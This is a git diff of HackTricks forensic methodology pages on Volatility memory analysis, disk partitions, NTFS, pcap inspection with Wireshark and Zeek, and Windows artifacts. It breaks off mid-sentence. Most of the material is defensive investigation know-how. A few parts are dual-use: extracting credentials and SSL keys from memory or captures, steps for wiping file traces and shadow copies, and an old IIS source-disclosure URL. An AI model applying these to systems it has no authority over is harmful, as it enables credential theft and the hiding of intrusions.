#Dump the .exe and dlls of the process in the current directory process - ``` {% endtab %} @@ -343,7 +341,7 @@ volatility --profile=Win7SP1x86_23418 dlldump --pid=3152 --dump-dir=. -f file.dm {% endtab %} {% endtabs %} -## Strings per processes +### Strings per processes Volatility allows to check to which process does a string belongs to. @@ -383,7 +381,7 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3 {% endtab %} {% endtabs %} -## UserAssist +### UserAssist **Windows** systems maintain a set of **keys** in the registry database (**UserAssist keys**) to keep track of programs that executed. The number of executions and last execution date and time are available in these **keys**. @@ -401,7 +399,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp userassist {% endtab %} {% endtabs %} -# Services +## Services {% tabs %} {% tab title="vol3" %} @@ -421,7 +419,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp {% endtab %} {% endtabs %} -# Network +## Network {% tabs %} {% tab title="vol3" %} @@ -449,9 +447,9 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache {% endtab %} {% endtabs %} -# Registry hive +## Registry hive -## Print available hives +### Print available hives {% tabs %} {% tab title="vol3" %} @@ -469,7 +467,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get i {% endtab %} {% endtabs %} -## Get a value +### Get a value {% tabs %} {% tab title="vol3" %} @@ -487,7 +485,7 @@ volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\ {% endtab %} {% endtabs %} -## Dump +### Dump ```bash #Dump a hive @@ -496,9 +494,9 @@ volatility --profile=Win7SP1x86_23418 hivedump -o 0x9aad6148 -f file.dmp #Offset volatility --profile=Win7SP1x86_23418 hivedump -f file.dmp ``` -# Filesystem +## Filesystem -## Mount +### Mount {% tabs %} {% tab title="vol3" %} @@ -515,7 +513,7 @@ volatility --profile=SomeLinux -f file.dmp linux_recover_filesystem #Dump the en {% endtab %} {% endtabs %} -## Scan/dump +### Scan/dump {% tabs %} {% tab title="vol3" %} @@ -538,7 +536,7 @@ volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O / {% endtab %} {% endtabs %} -## Master File Table +### Master File Table {% tabs %} {% tab title="vol3" %} @@ -556,7 +554,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table). -## SSL Keys/Certs +### SSL Keys/Certs {% tabs %} {% tab title="vol3" %} @@ -575,7 +573,7 @@ volatility --profile=Win7SP1x86_23418 dumpcerts --dump-dir=. -f file.dmp {% endtab %} {% endtabs %} -# Malware +## Malware {% tabs %} {% tab title="vol3" %} @@ -613,7 +611,7 @@ volatility --profile=SomeLinux -f file.dmp linux_keyboard_notifiers #Keyloggers {% endtab %} {% endtabs %} -## Scanning with yara +### Scanning with yara Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ Create the _**rules**_ directory and execute it. This will create a file called _**malware\_rules.yar**_ which contains all the yara rules for malware. @@ -641,9 +639,9 @@ volatility --profile=Win7SP1x86_23418 yarascan -y malware_rules.yar -f ch2.dmp | {% endtab %} {% endtabs %} -# MISC +## MISC -## External plugins +### External plugins If you want to use an external plugins make sure that the plugins related folder is the first parameter used. @@ -661,7 +659,7 @@ If you want to use an external plugins make sure that the plugins related folder {% endtab %} {% endtabs %} -### Autoruns +#### Autoruns Download it from [https://github.com/tomchop/volatility-autoruns](https://github.com/tomchop/volatility-autoruns) @@ -669,7 +667,7 @@ Download it from [https://github.com/tomchop/volatility-autoruns](https://github volatility --plugins=volatility-autoruns/ --profile=WinXPSP2x86 -f file.dmp autoruns ``` -## Mutexes +### Mutexes {% tabs %} {% tab title="vol3" %} @@ -686,7 +684,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p -t mutant {% endtab %} {% endtabs %} -## Symlinks +### Symlinks {% tabs %} {% tab title="vol3" %} @@ -702,7 +700,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan {% endtab %} {% endtabs %} -## Bash +### Bash It's possible to **read from memory the bash history.** You could also dump the _.bash\_history_ file, but it was disabled you will be glad you can use this volatility module @@ -720,7 +718,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp linux_bash {% endtab %} {% endtabs %} -## TimeLine +### TimeLine {% tabs %} {% tab title="vol3" %} @@ -736,7 +734,7 @@ volatility --profile=Win7SP1x86_23418 -f timeliner {% endtab %} {% endtabs %} -## Drivers +### Drivers {% tabs %} {% tab title="vol3" %} @@ -752,35 +750,35 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp driverscan {% endtab %} {% endtabs %} -## Get clipboard +### Get clipboard ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 clipboard -f file.dmp ``` -## Get IE history +### Get IE history ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 iehistory -f file.dmp ``` -## Get notepad text +### Get notepad text ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 notepad -f file.dmp ``` -## Screenshot +### Screenshot ```bash #Just vol2 volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp ``` -## Master Boot Record (MBR) +### Master Boot Record (MBR) ``` volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp @@ -788,8 +786,6 @@ volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File\_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage\_boot\_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume\_boot\_record) (VBR). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot\_loader). From [here](https://en.wikipedia.org/wiki/Master\_boot\_record). - -
Support HackTricks and get benefits! @@ -805,5 +801,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md index 65f8d2fe..c3e6d63d 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,5 +1,7 @@ # Partitions/File Systems/Carving +## Partitions/File Systems/Carving +
Support HackTricks and get benefits! @@ -16,13 +18,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Partitions +## Partitions A hard drive or a **SSD disk can contain different partitions** with the goal of separating data physically.\ The **minimum** unit of a disk is the **sector** (normally composed by 512B). So, each partition size needs to be multiple of that size. -## MBR (master Boot Record) +### MBR (master Boot Record) It's allocated in the **first sector of the disk after the 446B of the boot code**. This sector is essential to indicate the PC what and from where a partition should be mounted.\ It allows up to **4 partitions** (at most **just 1** can be active/**bootable**). However, if you need more partitions you can use **extended partitions**.. The **final byte** of this first sector is the boot record signature **0x55AA**. Only one partition can be marked as active.\ @@ -64,7 +65,7 @@ From the **bytes 440 to the 443** of the MBR you can find the **Windows Disk Sig In order to mount a MBR in Linux you first need to get the start offset (you can use `fdisk` and the the `p` command) -![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (3).png>) +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1).png>) An then use the following code @@ -79,7 +80,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ **Logical block addressing** (**LBA**) is a common scheme used for **specifying the location of blocks** of data stored on computer storage devices, generally secondary storage systems such as hard disk drives. LBA is a particularly simple linear addressing scheme; **blocks are located by an integer index**, with the first block being LBA 0, the second LBA 1, and so on. -## GPT (GUID Partition Table) +### GPT (GUID Partition Table) It’s called GUID Partition Table because every partition on your drive has a **globally unique identifier**. @@ -141,7 +142,7 @@ The partition table header defines the usable blocks on the disk. It also define More partition types in [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -## Inspecting +### Inspecting After mounting the forensics image with [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), you can inspect the first sector using the Windows tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In the following image a **MBR** was detected on the **sector 0** and interpreted: @@ -149,9 +150,9 @@ After mounting the forensics image with [**ArsenalImageMounter**](https://arsena If it was a **GPT table instead of a MBR** it should appear the signature _EFI PART_ in the **sector 1** (which in the previous image is empty). -# File-Systems +## File-Systems -## Windows file-systems list +### Windows file-systems list * **FAT12/16**: MSDOS, WIN95/98/NT/200 * **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 @@ -159,7 +160,7 @@ If it was a **GPT table instead of a MBR** it should appear the signature _EFI P * **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 * **ReFS**: 2012/2016 -## FAT +### FAT The **FAT (File Allocation Table)** file system is named for its method of organization, the file allocation table, which resides at the beginning of the volume. To protect the volume, **two copies** of the table are kept, in case one becomes damaged. In addition, the file allocation tables and the root folder must be stored in a **fixed location** so that the files needed to start the system can be correctly located. @@ -183,13 +184,13 @@ The **root directory** occupies a **specific position** for both FAT12 and FAT16 When a file is "deleted" using a FAT file system, the directory entry remains almost **unchanged** except for the **first character of the file name** (modified to 0xE5), preserving most of the "deleted" file's name, along with its time stamp, file length and — most importantly — its physical location on the disk. The list of disk clusters occupied by the file will, however, be erased from the File Allocation Table, marking those sectors available for use by other files created or modified thereafter. In case of FAT32, it is additionally erased field responsible for upper 16 bits of file start cluster value. -## **NTFS** +### **NTFS** {% content-ref url="ntfs.md" %} [ntfs.md](ntfs.md) {% endcontent-ref %} -## EXT +### EXT **Ext2** is the most common file-system for **not journaling** partitions (**partitions that don't change much**) like the boot partition. **Ext3/4** are **journaling** and are used usually for the **rest partitions**. @@ -197,7 +198,7 @@ When a file is "deleted" using a FAT file system, the directory entry remains al [ext.md](ext.md) {% endcontent-ref %} -# **Metadata** +## **Metadata** Some files contains metadata. This is information about the content of the file which sometimes might be interesting for the analyst as depending on the file-type it might have information like: @@ -211,9 +212,9 @@ Some files contains metadata. This is information about the content of the file You can use tools like [**exiftool**](https://exiftool.org) and [**Metadiver**](https://www.easymetadata.com/metadiver-2/) to get the metadata of a file. -# **Deleted Files Recovery** +## **Deleted Files Recovery** -## Logged Deleted Files +### Logged Deleted Files As it was seen before there are several places where the file is still saved after it was "deleted". This is because usually the deletion of a file from a file-system just mark it as deleted but the data isn't touched. Then, it's possible to inspect the registries of the files (like the MFT) and find the deleted files. @@ -223,7 +224,7 @@ Also, the OS usually saves a lot of information about file system changes and ba [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -## **File Carving** +### **File Carving** **File carving** is a technique that tries to **find files in a bulk of data**. There are 3 main ways tools like this works: **Based on file types headers and footers**, based on file types **structures** and based on the **content** itself. @@ -235,7 +236,7 @@ There are several tools that you can use for file Carving indicating them the fi [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -## Data Stream **C**arving +### Data Stream **C**arving Data Stream Carving is similar to File Carving but i**nstead of looking for complete files, it looks for interesting fragments** of information.\ For example, instead of looking for a complete file containing logged URLs, this technique will search for URLs. @@ -244,12 +245,12 @@ For example, instead of looking for a complete file containing logged URLs, this [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) {% endcontent-ref %} -## Secure Deletion +### Secure Deletion Obviously, there are ways to **"securely" delete files and part of logs about them**. For example, it's possible to **overwrite the content** of a file with junk data several times, and then **remove** the **logs** from the **$MFT** and **$LOGFILE** about the file, and **remove the Volume Shadow Copies**.\ You may notice that even performing that action there might be **other parts where the existence of the file is still logged**, and that's true and part of the forensics professional job is to find them. -# References +## References * [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) diff --git a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md index 00252bd9..7b9a2f52 100644 --- a/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md +++ b/forensics/basic-forensic-methodology/partitions-file-systems-carving/ntfs.md @@ -1,5 +1,7 @@ # NTFS +## NTFS +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **NTFS** +## **NTFS** **NTFS** (**New Technology File System**) is a proprietary journaling file system developed by Microsoft. @@ -34,17 +35,17 @@ The cluster is the minimum size unit of NTFS and the size of the cluster depends | 16,385MB-32,768MB (32GB) | 64 | 32KB | | Greater than 32,768MB | 128 | 64KB | -## **Slack-Space** +### **Slack-Space** As the **minimum** size unit of NTFS is a **cluster**. Each file will be occupying a number of complete clusters. Then, it's highly probable that **each file occupies more space than necessary**. These **unused** **spaces** **booked** by a file which is called **slacking** **space**. And people could take advantage of this technique to **hide** **information**. ![](<../../../.gitbook/assets/image (498).png>) -## **NTFS boot sector** +### **NTFS boot sector** When you format an NTFS volume, the format program allocates the first 16 sectors for the $Boot metadata file. First sector, in fact, is a boot sector with a "bootstrap" code and the following 15 sectors are the boot sector's IPL (initial program loader). To increase file system reliability the very last sector an NTFS partition contains a spare copy of the boot sector. -## **Master File Table o $MFT** +### **Master File Table o $MFT** The NTFS file system contains a file called the _master file table_, or MFT. There is at least **one entry in the MFT for every file on an NTFS file system** volume, including the MFT itself. All information about a file, including its **size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. @@ -77,7 +78,7 @@ NTFS reserves the first 16 records of the table for special information: | Object Id file | $ObjId | 25 | Contains file object IDs. | | Reparse point file | $Reparse | 26 | This file contains information about files and folders on the volume include reparse point data. | -## Each entry of the MFT looks like the following: +### Each entry of the MFT looks like the following: ![](<../../../.gitbook/assets/image (499).png>) @@ -97,7 +98,7 @@ It's also possible to recover deleted files using FTKImager: ![](<../../../.gitbook/assets/image (502).png>) -## MFT Attributes +### MFT Attributes Each MFT entry has several attributes as the following image indicates: @@ -151,11 +152,11 @@ Some interesting attributes: * [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (among others): * Contains the file's data or the indication of the sectors where the data resides. In the following example the attribute data is not resident so the attribute gives information about the sectors where the data resides. -![](<../../../.gitbook/assets/image (507) (1) (1).png>) +![](<../../../.gitbook/assets/image (507) (1).png>) ![](<../../../.gitbook/assets/image (509).png>) -## NTFS timestamps +### NTFS timestamps ![](<../../../.gitbook/assets/image (512).png>) @@ -164,7 +165,7 @@ This program will extract all the MFT data and present it in CSV format. It can ![](<../../../.gitbook/assets/image (513).png>) -## $LOGFILE +### $LOGFILE The file **`$LOGFILE`** contains **logs** about the **actions** that have been **performed** **to** **files**. It also **saves** the **action** it would need to perform in case of a **redo** and the action needed to **go back** to the **previous** **state**.\ These logs are useful for the MFT to rebuild the file system in case some kind of error happened. @@ -180,7 +181,7 @@ Filtering by filenames you can see **all the actions performed against a file**: ![](<../../../.gitbook/assets/image (514).png>) -## $USNJnrl +### $USNJnrl The file `$EXTEND/$USNJnrl/$J` is and alternate data stream of the file `$EXTEND$USNJnrl` . This artifact contains a **registry of changes produced inside the NTFS volume with more detail than `$LOGFILE`**. @@ -190,7 +191,7 @@ Filtering by the filename it's possible to see **all the actions performed again ![](<../../../.gitbook/assets/image (516).png>) -## $I30 +### $I30 Every **directory** in the file system contains an **`$I30`** **attribute** that must be maintained whenever there are changes to the directory's contents. When files or folders are removed from the directory, the **`$I30`** index records are re-arranged accordingly. However, **re-arranging of the index records may leave remnants of the deleted file/folder entry within the slack space**. This can be useful in forensics analysis for identifying files that may have existed on the drive. @@ -200,16 +201,16 @@ You can get the `$I30` file of a directory from the **FTK Imager** and inspect i With this data you can find **information about the file changes performed inside the folder** but note that the deletion time of a file isn't saved inside this logs. However, you can see that **last modified date** of the **`$I30` file**, and if the **last action performed** over the directory is the **deletion** of a file, the times may be the same. -## $Bitmap +### $Bitmap The **`$BitMap`** is a special file within the NTFS file system. This file keeps **track of all of the used and unused clusters** on an NTFS volume. When a file takes up space on the NTFS volume the location is uses is marked out in the `$BitMap`. ![](<../../../.gitbook/assets/image (523).png>) -## ADS (Alternate Data Stream) +### ADS (Alternate Data Stream) Alternate data streams allow files to contain more than one stream of data. Every file has at least one data stream. In Windows, this default data stream is called `:$DATA`.\ -In this [page you can see different ways to create/access/discover alternate data streams](../../../windows/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past this cause a vulnerability in IIS as people was able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. +In this [page you can see different ways to create/access/discover alternate data streams](../../../windows-hardening/basic-cmd-for-pentesters.md#alternate-data-streams-cheatsheet-ads-alternate-data-stream) from the console. In the past this cause a vulnerability in IIS as people was able to access the source code of a page by accessing the `:$DATA` stream like `http://www.alternate-data-streams.com/default.asp::$DATA`. Using the tool [**AlternateStreamView**](https://www.nirsoft.net/utils/alternate\_data\_streams.html) you can search and export all the files with some ADS. diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index 76f83dc5..9dfe72ab 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,5 +1,7 @@ # Pcap Inspection +## Pcap Inspection +
Support HackTricks and get benefits! @@ -16,22 +18,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- {% hint style="info" %} A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. {% endhint %} -# Online tools for pcaps +## Online tools for pcaps * If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) * Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) * Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -# Extract Information +## Extract Information The following tools are useful to extract statistic, files... -## Wireshark +### Wireshark {% hint style="info" %} **If you are going to analyze a PCAP you basically must to know how to use Wireshark** @@ -43,7 +44,7 @@ You can find some Wireshark trick in: [wireshark-tricks.md](wireshark-tricks.md) {% endcontent-ref %} -## Xplico Framework +### Xplico Framework [**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. @@ -67,19 +68,19 @@ Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. -## NetworkMiner +### NetworkMiner Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening there in a **quick** way. -## NetWitness Investigator +### NetWitness Investigator You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ This is another useful tool that **analyse the packets** and sort the information in a useful way to **know what is happening inside**. -![](<../../../.gitbook/assets/image (567) (1).png>) +![](<../../../.gitbook/assets/image (567) (1) (1).png>) -## [BruteShark](https://github.com/odedshimon/BruteShark) +### [BruteShark](https://github.com/odedshimon/BruteShark) * Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) * Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) @@ -88,13 +89,13 @@ This is another useful tool that **analyse the packets** and sort the informatio * Reconstruct all TCP & UDP Sessions * File Carving -## Capinfos +### Capinfos ``` capinfos capture.pcap ``` -## Ngrep +### Ngrep If you are **looking** for **something** inside the pcap you can use **ngrep**. And example using the main filters: @@ -102,7 +103,7 @@ If you are **looking** for **something** inside the pcap you can use **ngrep**. ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` -## Carving +### Carving Using common carving techniques can be useful to extract files and information from the pcap: @@ -110,13 +111,13 @@ Using common carving techniques can be useful to extract files and information f [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -## Capturing credentials +### Capturing credentials You can us tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. -# Check Exploits/Malware +## Check Exploits/Malware -## Suricata +### Suricata **Install and setup** @@ -133,7 +134,7 @@ oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` -## YaraPcap +### YaraPcap [**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that @@ -143,7 +144,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log * writes a report.txt * optionally saves matching files to a Dir -## Malware Analysis +### Malware Analysis Check if you can find any fingerprint of a known malware: @@ -151,13 +152,13 @@ Check if you can find any fingerprint of a known malware: [malware-analysis.md](../malware-analysis.md) {% endcontent-ref %} -# Zeek +## Zeek > Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a network security monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. -## Connections Info +### Connections Info ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) @@ -209,7 +210,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` -## DNS info +### DNS info ```bash #Get info about each DNS request performed @@ -228,7 +229,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr rita show-exploded-dns -H --limit 10 zeek_logs ``` -# Other pcap analysis tricks +## Other pcap analysis tricks {% content-ref url="dnscat-exfiltration.md" %} [dnscat-exfiltration.md](dnscat-exfiltration.md) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index db62c6d9..b1ecd232 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,5 +1,7 @@ # Wireshark tricks +## Wireshark tricks +
Support HackTricks and get benefits! @@ -16,10 +18,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Improve your Wireshark skills -# Improve your Wireshark skills - -## Tutorials +### Tutorials The following tutorials are amazing to learn some cool basic tricks: @@ -28,7 +29,7 @@ The following tutorials are amazing to learn some cool basic tricks: * [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) * [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -## Analysed Information +### Analysed Information **Expert Information** @@ -73,7 +74,7 @@ Under _**Statistics --> I/O Graph**_ you can find a **graph of the communication ![](<../../../.gitbook/assets/image (574).png>) -## Filters +### Filters Here you can find wireshark filter depending on the protocol: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ Other interesting filters: @@ -85,14 +86,14 @@ Other interesting filters: * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` * HTTP and initial HTTPS traffic + TCP SYN + DNS requests -## Search +### Search If you want to **search** for **content** inside the **packets** of the sessions press _CTRL+f_\ \_\_You can add new layers to the main information bar _(No., Time, Source...)_ pressing _right bottom_ and _Edit Column_ Practice: [https://www.malware-traffic-analysis.net/](https://www.malware-traffic-analysis.net) -# Identifying Domains +## Identifying Domains You can add a column that show the Host HTTP header: @@ -100,23 +101,23 @@ You can add a column that show the Host HTTP header: And a column that add the Server name from an initiating HTTPS connection (**ssl.handshake.type == 1**): -![](<../../../.gitbook/assets/image (408).png>) +![](<../../../.gitbook/assets/image (408) (1).png>) -# Identifying local hostnames +## Identifying local hostnames -## From DHCP +### From DHCP In current Wireshark instead of `bootp` you need to search for `DHCP` ![](<../../../.gitbook/assets/image (404).png>) -## From NBNS +### From NBNS ![](<../../../.gitbook/assets/image (405).png>) -# Decrypting TLS +## Decrypting TLS -## Decrypting https traffic with server private key +### Decrypting https traffic with server private key _edit>preference>protocol>ssl>_ @@ -124,7 +125,7 @@ _edit>preference>protocol>ssl>_ Press _Edit_ and add all the data of the server and the private key (_IP, Port, Protocol, Key file and password_) -## Decrypting https traffic with symmetric session keys +### Decrypting https traffic with symmetric session keys It turns out that Firefox and Chrome both support logging the symmetric session key used to encrypt TLS traffic to a file. You can then point Wireshark at said file and presto! decrypted TLS traffic. More in: [https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)\ To detect this search inside the environment for to variable `SSLKEYLOGFILE` @@ -137,7 +138,7 @@ To import this in wireshark go to _edit>preference>protocol>ssl>_ and import it ![](<../../../.gitbook/assets/image (100).png>) -# ADB communication +## ADB communication Extract an APK from an ADB communication where the APK was sent: diff --git a/forensics/basic-forensic-methodology/windows-forensics/README.md b/forensics/basic-forensic-methodology/windows-forensics/README.md index a037b65c..19e6208b 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/README.md +++ b/forensics/basic-forensic-methodology/windows-forensics/README.md @@ -1,5 +1,7 @@ # Windows Artifacts +## Windows Artifacts +
Support HackTricks and get benefits! @@ -16,28 +18,27 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Generic Windows Artifacts -# Generic Windows Artifacts - -## Windows 10 Notifications +### Windows 10 Notifications In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). Inside this SQLite database you can find the `Notification` table with all the notifications (in xml format) that may contain interesting data. -## Timeline +### Timeline Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, executed applications...\ The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`\ This database can be open with a SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). -## ADS/Alternate Data Streams +### ADS/Alternate Data Streams Files downloaded may contain the **ADS Zone.Identifier** indicating **how** was **downloaded** (from the intranet, Internet...) and some software (like browser) usually put even **more** **information** like the **URL** from where the file was downloaded. -# **File Backups** +## **File Backups** -## Recycle Bin +### Recycle Bin In Vista/Win7/Win8/Win10 the **Reciclye Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Reciycle.bin`).\ When a file is deleted in this folder are created 2 files: @@ -53,9 +54,9 @@ Having these files you can sue the tool [**Rifiuti**](https://github.com/abelche .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` -![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>) +![](<../../../.gitbook/assets/image (495) (1) (1).png>) -## Volume Shadow Copies +### Volume Shadow Copies Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use.\ These backups are usually located in the `\System Volume Information` from the roof of the file system and the name is composed by **UIDs** as in the following image: @@ -72,15 +73,15 @@ The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRe The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. -## Office AutoSaved Files +### Office AutoSaved Files You can find the office autosaved files in : `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -# Shell Items +## Shell Items A shell item is an item that contains information about how to access another file. -## Recent Documents (LNK) +### Recent Documents (LNK) Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: @@ -106,7 +107,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs In this case the information is going to be saved inside a CSV file. -## Jumplists +### Jumplists These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. @@ -125,11 +126,11 @@ You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman (_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) -## Shellbags +### Shellbags [**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) -# Use of Windows USBs +## Use of Windows USBs It's possible to identify that a USB device was used thanks to the creation of: @@ -143,23 +144,23 @@ Note that some LNK file instead 